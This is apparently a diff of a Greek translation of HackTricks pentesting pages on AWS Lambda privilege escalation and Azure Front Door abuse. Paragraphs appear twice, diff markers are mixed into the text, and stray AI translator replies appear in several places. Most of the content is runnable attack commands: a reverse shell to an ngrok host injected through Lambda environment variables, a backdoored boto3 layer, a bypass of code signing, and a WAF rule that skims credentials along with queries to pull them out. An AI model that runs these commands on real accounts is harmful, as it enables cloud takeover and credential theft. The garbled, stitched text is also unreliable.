Αντί να καλεί άμεσα τη Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός event source mapping. Αυτή η διάταξη εξασφαλίζει ότι η Lambda function ενεργοποιείται αυτόματα όταν εισαχθεί ένα νέο item στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διαδικασία, προκαλώντας έτσι έμμεση κλήση της Lambda function και εκτέλεση του κώδικα με τα δικαιώματα του περασμένου IAM role.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης απλώς **needs to establish the event source mapping** για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει να **create a new table** με ενεργοποιημένο το streaming:
Εάν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης χρειάζεται μόνο να **εγκαταστήσει την αντιστοίχιση πηγής συμβάντων** για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει να **δημιουργήσει έναν νέο πίνακα** με ενεργοποιημένο το streaming:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Τώρα είναι δυνατό να **συνδέσετε τη Lambda function με το DynamoDB table** δημιουργώντας ένα **event source mapping**:
Τώρα είναι δυνατό να **συνδέσετε τη συνάρτηση Lambda με τον πίνακα DynamoDB** δημιουργώντας **ένα event source mapping**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο attacker μπορεί **να ενεργοποιήσει έμμεσα το Lambda ενεργοποιώντας το DynamoDB stream**. Αυτό μπορεί να επιτευχθεί με **την εισαγωγή ενός item** στον πίνακα DynamoDB:
Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο επιτιθέμενος μπορεί **έμμεσα να πυροδοτήσει το Lambda ενεργοποιώντας το DynamoDB stream**. Αυτό μπορεί να επιτευχθεί με **εισαγωγή ενός item** στον πίνακα DynamoDB:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Πιθανός Αντίκτυπος:** Άμεση privesc στον καθορισμένο lambda service role.
**Πιθανός Αντίκτυπος:** Άμεσο privesc στο συγκεκριμένο lambda service role.
### `lambda:AddPermission`
Ένας attacker με αυτήν την άδεια μπορεί να **χορηγήσει στον εαυτό του (ή σε άλλους) οποιεσδήποτε άδειες** (αυτό δημιουργεί resource-based policies για να χορηγήσει πρόσβαση στον πόρο):
Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να **χορηγήσει στον εαυτό του (ή σε άλλους) οποιαδήποτε δικαιώματα** (αυτό δημιουργεί resource based policies για να παραχωρήσει πρόσβαση στον πόρο):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Άμεση privesc στον ρόλο υπηρεσίας lambda, μέσω χορήγησης άδειας για τροποποίηση του κώδικα και εκτέλεσή του.
**Πιθανός Αντίκτυπος:** Άμεσο privesc στον ρόλο υπηρεσίας lambda που χρησιμοποιείται, παρέχοντας την άδεια να τροποποιεί τον κώδικα και να τον εκτελεί.
### `lambda:AddLayerVersionPermission`
@@ -139,14 +139,14 @@ aws lambda invoke --function-name <func_name> /tmp/outout
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Πιθανός Αντίκτυπος:** Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες.
**Πιθανός αντίκτυπος:** Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες.
### `lambda:UpdateFunctionCode`
Οι χρήστες που διαθέτουν την άδεια **`lambda:UpdateFunctionCode`** έχουν τη δυνατότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με έναν IAM role.**\
Ο επιτιθέμενος μπορεί να **modify the code of the lambda to exfiltrate the IAM credentials**.
Χρήστες που διαθέτουν την άδεια **`lambda:UpdateFunctionCode`** έχουν τη δυνατότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με ένα IAM role.**\
Ο attacker μπορεί να **τροποποιήσει τον κώδικα της Lambda για να exfiltrate τα IAM credentials**.
Αν και ο επιτιθέμενος ενδέχεται να μην έχει την άμεση δυνατότητα να καλέσει τη λειτουργία, εάν η Lambda function είναι προϋπάρχουσα και λειτουργική, είναι πιθανό ότι θα ενεργοποιηθεί μέσω υπαρχόντων workflows ή events, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα.
Αν και ο attacker μπορεί να μην έχει την άμεση δυνατότητα να καλέσει τη Lambda function, εάν αυτή υπάρχει ήδη και είναι σε λειτουργία, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχόντων workflows ή events, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Πιθανός Αντίκτυπος:** Άμεση privesc στο ρόλο υπηρεσίας του Lambda που χρησιμοποιείται.
**Potential Impact:** Άμεσο privesc στο lambda service role που χρησιμοποιείται.
### `lambda:UpdateFunctionConfiguration`
#### RCE μέσω env variables
#### RCE via env variables
Με αυτά τα permissions είναι δυνατό να προστεθούν μεταβλητές περιβάλλοντος που θα κάνουν το Lambda να εκτελέσει αυθαίρετο κώδικα. Για παράδειγμα σε python είναι δυνατό να καταχραστεί κανείς τις μεταβλητές περιβάλλοντος `PYTHONWARNING` και `BROWSER` ώστε μια διεργασία python να εκτελέσει αυθαίρετες εντολές:
Με αυτά τα δικαιώματα είναι δυνατό να προστεθούν environment variables που θα κάνουν τη Lambda να εκτελέσει αυθαίρετο κώδικα. Για παράδειγμα σε python είναι δυνατό να καταχραστεί κανείς τα environment variables `PYTHONWARNING` και `BROWSER` ώστε μια διεργασία python να εκτελέσει αυθαίρετες εντολές:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Για άλλες scripting languages υπάρχουν άλλα env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες δείτε τις υποενότητες των scripting languages στο:
Για άλλες scripting languages υπάρχουν και άλλες env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες δείτε τις υποενότητες των scripting languages στο:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE via Lambda Layers
#### RCE μέσω Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει την συμπερίληψη **code** στη lamdba function αλλά **αποθηκεύοντάς το ξεχωριστά**, έτσι ο function code μπορεί να παραμείνει μικρός και **several functions can share code**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπουν να συμπεριλάβετε **code** στη lamdba function σας αλλά **αποθηκεύοντάς το ξεχωριστά**, ώστε ο function code να μπορεί να παραμείνει μικρός και **several functions can share code**.
Μέσα στο lambda μπορείτε να ελέγξετε τις διαδρομές από όπου φορτώνεται το python code με μια function όπως η ακόλουθη:
Μέσα στο lambda μπορείτε να ελέγξετε τα paths από όπου φορτώνεται το python code με μια function όπως η ακόλουθη:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Αυτές είναι οι τοποθεσίες:
These are the places:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -200,18 +200,18 @@ print(json.dumps(sys.path, indent=2))
Για παράδειγμα, η βιβλιοθήκη boto3 φορτώνεται από `/var/runtime/boto3` (4η θέση).
#### Εκμετάλλευση
#### Exploitation
Είναι δυνατόν να καταχραστείτε την άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε ένα νέο layer** σε μια lambda function. Για να εκτελεστεί αυθαίρετος κώδικας, αυτό το layer πρέπει να περιέχει κάποια **βιβλιοθήκη που πρόκειται να εισάγει η lambda.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, μπορείτε να το βρείτε εύκολα. Επίσης, σημειώστε ότι μπορεί να είναι πιθανό ότι η lambda **χρησιμοποιεί ήδη ένα layer** και να μπορείτε να **κατεβάσετε** το layer και να **προσθέσετε τον κώδικά σας** εκεί μέσα.
Είναι δυνατόν να καταχραστείτε την άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε ένα νέο layer** σε μια λειτουργία lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτό το layer πρέπει να περιέχει κάποια **βιβλιοθήκη που η lambda θα εισάγει.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, μπορείτε να το βρείτε εύκολα — επίσης σημειώστε ότι μπορεί να είναι πιθανό η lambda να **χρησιμοποιεί ήδη ένα layer** και να μπορείτε να **κατεβάσετε** το layer και να **προσθέσετε τον κώδικά σας** εκεί.
Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3 — αυτό θα δημιουργήσει ένα τοπικό layer με την τελευταία έκδοση της βιβλιοθήκης:
```bash
pip3 install -t ./lambda_layer boto3
```
Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και **add the backdoor in the global code** (μια συνάρτηση για να exfiltrate credentials ή να αποκτήσετε ένα reverse shell, για παράδειγμα).
Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και να **add the backdoor in the global code** (π.χ. μια συνάρτηση για να exfiltrate credentials ή να αποκτήσετε ένα reverse shell για παράδειγμα).
Στη συνέχεια, zip-άρετε τον φάκελο `./lambda_layer` και **upload the new lambda layer** στον δικό σας λογαριασμό (ή στον account του victim, αλλά ίσως να μην έχετε δικαιώματα για αυτό).\
Σημειώστε ότι χρειάζεται να δημιουργήσετε έναν φάκελο python και να βάλετε εκεί τις βιβλιοθήκες ώστε να υπερκαλύψετε το /opt/python/boto3. Επίσης, το layer πρέπει να είναι **compatible with the python version** που χρησιμοποιείται από το lambda και, αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην **same region:**
Στη συνέχεια, zip αυτόν τον κατάλογο `./lambda_layer` και **upload the new lambda layer** στον δικό σας λογαριασμό (ή σε αυτόν του θύματος, αλλά ίσως να μην έχετε δικαιώματα για αυτό).\
Σημειώστε ότι χρειάζεται να δημιουργήσετε έναν φάκελο python και να τοποθετήσετε τις βιβλιοθήκες εκεί για να override το /opt/python/boto3. Επίσης, το layer πρέπει να είναι **compatible with the python version** που χρησιμοποιεί η lambda και αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,48 +228,47 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Το επόμενο βήμα είναι είτε να **invoke the function** οι ίδιοι αν μπορούμε είτε να περιμένουμε μέχρι i**t gets invoked** με κανονικά μέσα — που είναι η ασφαλέστερη μέθοδος.
Το επόμενο βήμα θα ήταν είτε να **καλέσουμε τη συνάρτηση** εμείς αν μπορούμε είτε να περιμένουμε μέχρι να **καλεστεί** με φυσιολογικά μέσα — που είναι η ασφαλέστερη μέθοδος.
Μια **more stealth way to exploit this vulnerability** μπορεί να βρεθεί στο:
Ένας **πιο διακριτικός τρόπος εκμετάλλευσης αυτής της ευπάθειας** βρίσκεται στο:
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Πιθανός Αντίκτυπος:** Direct privesc to the lambda service role used.
**Potential Impact:** Άμεσο privesc στον ρόλο υπηρεσίας του lambda που χρησιμοποιείται.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Ίσως με αυτά τα permissions να μπορείτε να create a function και να execute it καλώντας το URL... αλλά δεν μπόρεσα να βρω τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε!
Ίσως με αυτά τα δικαιώματα να μπορείτε να δημιουργήσετε μια function και να την εκτελέσετε καλώντας το URL... αλλά κατάφερα να βρω τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε!
### Lambda MitM
Κάποιες lambdas πρόκειται να είναι **receiving sensitive info from the users in parameters.** Αν αποκτήσετε RCE σε μία από αυτές, μπορείτε να exfiltrate τις πληροφορίες που άλλοι users στέλνουν σε αυτήν, δείτε το στο:
Κάποιες lambdas θα **λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες ως παραμέτρους.** Αν αποκτήσετε RCE σε μία από αυτές, μπορείτε να exfiltrate τις πληροφορίες που άλλοι χρήστες στέλνουν σε αυτή δείτε το στο:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## Αναφορές
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
Αν μια Lambda function επιβάλει code signing, ένας attacker που μπορεί είτε να αφαιρέσει το Code Signing Config (CSC) είτε να το υποβαθμίσει σε Warn μπορεί να deploy unsigned code στη function. Αυτό παρακάμπτει τα integrity protections χωρίς να τροποποιήσει το function's IAM role ή τα triggers.
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Σημειώσεις:
- Για το Path B, δεν χρειάζεστε AWS Signer profile αν η πολιτική CSC οριστεί σε `WARN` (unsigned artifacts allowed).
Notes:
- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
@@ -282,7 +281,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Μονοπάτι A) Αφαίρεση CSC και μετά ενημέρωση κώδικα:
Διαδρομή A) Αφαιρέστε CSC και στη συνέχεια ενημερώστε το code:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Διαδρομή B) Υποβάθμιση σε Warn και ενημέρωση κώδικα (αν το delete δεν επιτρέπεται):
Διαδρομή B) Μειώστε σε Warn και ενημερώστε τον κώδικα (εάν το delete δεν επιτρέπεται):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
@@ -303,15 +302,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Επιβεβαιώνω: θα μεταφράσω το σχετικό αγγλικό κείμενο στα Ελληνικά διατηρώντας ακριβώς το ίδιο markdown/HTML. Δεν θα μεταφράσω code, ονόματα τεχνικών hacking, κοινές λέξεις hacking, ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp), τη λέξη 'leak', pentesting, συνδέσμους ή paths (π.χ. lamda-post-exploitation.md), ούτε tags/refs όπως {#tabs}, {#tab name="Method1"}, {#ref}generic-methodologies-and-resources/pentesting-methodology.md{#endref} κ.λπ. Δεν θα προσθέσω επιπλέον περιεχόμενο πέρα από τη μετάφραση.
Επιβεβαιώνω: Θα μεταφράσω το σχετικό αγγλικό κείμενο στα Ελληνικά, διατηρώντας ακριβώς την ίδια markdown/HTML σύνταξη. Δεν θα μεταφράσω ή τροποποιήσω: code, ονόματα τεχνικών hacking, κοινές hacking λέξεις, ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp...), τη λέξη "leak", pentesting, links, paths ή tags/ref (π.χ. {#tabs}, {#ref}, paths όπως lamda-post-exploitation.md). Δεν θα προσθέσω επιπλέον περιεχόμενο.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσει και να εκτελέσει αυθαίρετο μη υπογεγραμμένο κώδικα σε συνάρτηση που υποτίθεται ότι επέβαλε υπογεγραμμένες αναπτύξεις, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης.
Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσει και να εκτελέσει αυθαίρετο μη υπογεγραμμένο κώδικα σε μια συνάρτηση που υποτίθεται ότι επιβάλλει υπογεγραμμένες αναπτύξεις, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης.
Καθαρισμός:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,81 @@
# Az - File Shares
# Az - Front Door
{{#include ../../../banners/hacktricks-training.md}}
## RemoteAddr Bypass
Αυτή η **[ανάρτηση στο blog](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** εξηγεί πώς όταν ρυθμίζετε κάποιους περιορισμούς δικτύου με το Azure Front Door μπορείτε να φιλτράρετε με βάση το **`RemoteAddr`** ή το **`SocketAddr`**. Η κύρια διαφορά είναι ότι το **`RemoteAddr`** χρησιμοποιεί πραγματικά την τιμή από την HTTP κεφαλίδα **`X-Forwarded-For`**, καθιστώντας το πολύ εύκολο να παρακαμφθεί.
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** εξηγεί πώς όταν διαμορφώνετε κάποιους περιορισμούς δικτύου με Azure Front Door μπορείτε να φιλτράρετε βάσει **`RemoteAddr`** ή **`SocketAddr`**. Η κύρια διαφορά είναι ότι **`RemoteAddr`** χρησιμοποιεί την τιμή από την κεφαλίδα HTTP **`X-Forwarded-For`**, καθιστώντας το πολύ εύκολο να παρακαμφθεί.
Για να παρακαμφθεί αυτός ο κανόνας μπορούν να χρησιμοποιηθούν αυτοματοποιημένα εργαλεία που **brute-force IP διευθύνσεις** μέχρι να βρουν μία έγκυρη.
Για να παρακάμψετε αυτόν τον κανόνα μπορούν να χρησιμοποιηθούν αυτοματοποιημένα εργαλεία που κάνουν **brute-force IP addresses** μέχρι να βρουν μία έγκυρη.
Αυτό αναφέρεται στην [τεκμηρίωση της Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
Αυτό αναφέρεται στη [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
## Credential Skimming via WAF Custom Rules + Log Analytics
## References
Abuse Azure Front Door (AFD) WAF Custom Rules σε συνδυασμό με το Log Analytics για να καταγράψετε cleartext credentials (ή άλλα μυστικά) που διέρχονται από το WAF. Αυτό δεν είναι CVE· είναι κατάχρηση νόμιμων λειτουργιών από οποιονδήποτε μπορεί να τροποποιήσει την πολιτική WAF και να διαβάσει τα logs.
Key behavior enabling this:
- Οι AFD WAF Custom Rules μπορούν να ταιριάξουν σε στοιχεία του αιτήματος, συμπεριλαμβανομένων των headers και των POST parameters.
- Όταν ένας Custom Rule χρησιμοποιεί τη δράση Log traffic only, η αξιολόγηση συνεχίζεται και η κίνηση προχωράει (χωρίς short-circuit), διατηρώντας τη ροή φυσιολογική/stealthy.
- Το AFD γράφει λεπτομερείς διαγνωστικές εγγραφές στο Log Analytics υπό την κατηγορία FrontDoorWebApplicationFirewallLog. Οι λεπτομέρειες του ταιριασμένου payload περιλαμβάνονται σε details_matches_s μαζί με το όνομα του κανόνα σε ruleName_s.
### Ολοκληρωμένη ροή εργασίας
1. Identify target POST parameters
- Εξετάστε τη φόρμα σύνδεσης και σημειώστε τα ονόματα παραμέτρων (π.χ., username, password).
2. Enable diagnostics to Log Analytics
- Στο Front Door profile > Monitoring > Diagnostic settings, στείλτε τα logs σε ένα Log Analytics workspace.
- Τουλάχιστον, ενεργοποιήστε την κατηγορία: FrontDoorWebApplicationFirewallLog.
3. Create a malicious Custom Rule
- Front Door WAF Policy > Custom rules > New rule:
- Name: ανεπιτήδευτο όνομα, π.χ., PasswordCapture
- Priority: χαμηλός αριθμός (π.χ., 5) ώστε να αξιολογείται νωρίς
- Match: POST arguments username and password with Operator = Any (match any value)
- Action: Log traffic only
4. Generate events
```bash
curl -i -X POST https://example.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=alice&password=S3cret!"
```
5. Εξαγωγή credentials από Log Analytics (KQL)
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog"
| where ruleName_s == "PasswordCapture"
| project TimeGenerated, ruleName_s, details_matches_s
| order by TimeGenerated desc
```
You didn't include the content of src/pentesting-cloud/azure-security/az-services/az-front-door.md. Paste the markdown (or upload the file) and I'll translate the English text to Greek following your rules.
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
| extend m = parse_json(details_matches_s)
| mv-expand match = m.matches
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
| order by TimeGenerated desc
```
Οι τιμές που ταιριάχτηκαν εμφανίζονται στο details_matches_s και περιλαμβάνουν τις cleartext τιμές που αντιστοιχούν στον κανόνα σας.
### Γιατί Front Door WAF και όχι Application Gateway WAF?
- Οι logs των custom-rule του Application Gateway WAF δεν περιλαμβάνουν τις προβληματικές POST/header τιμές με τον ίδιο τρόπο· τα AFD WAF diagnostics περιλαμβάνουν το matched content στα details, επιτρέποντας την καταγραφή διαπιστευτηρίων.
### Απόκρυψη και παραλλαγές
- Ορίστε το Action σε "Log traffic only" για να αποφύγετε τη διακοπή αιτημάτων και να διατηρήσετε την κανονική αξιολόγηση των υπόλοιπων κανόνων.
- Χρησιμοποιήστε μικρή αριθμητική τιμή στο Priority ώστε ο logging κανόνας σας να αξιολογείται πριν από τυχόν μεταγενέστερους Block/Allow κανόνες.
- Μπορείτε να στοχεύσετε οποιαδήποτε ευαίσθητα ονόματα/τοποθεσίες, όχι μόνο POST params (π.χ., headers όπως Authorization ή API tokens σε body fields).
### Προαπαιτούμενα
- Υπάρχουσα Azure Front Door instance.
- Δικαιώματα για επεξεργασία της AFD WAF policy και ανάγνωση του συνδεδεμένου Log Analytics workspace.
## Αναφορές
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
{{#include ../../../banners/hacktricks-training.md}}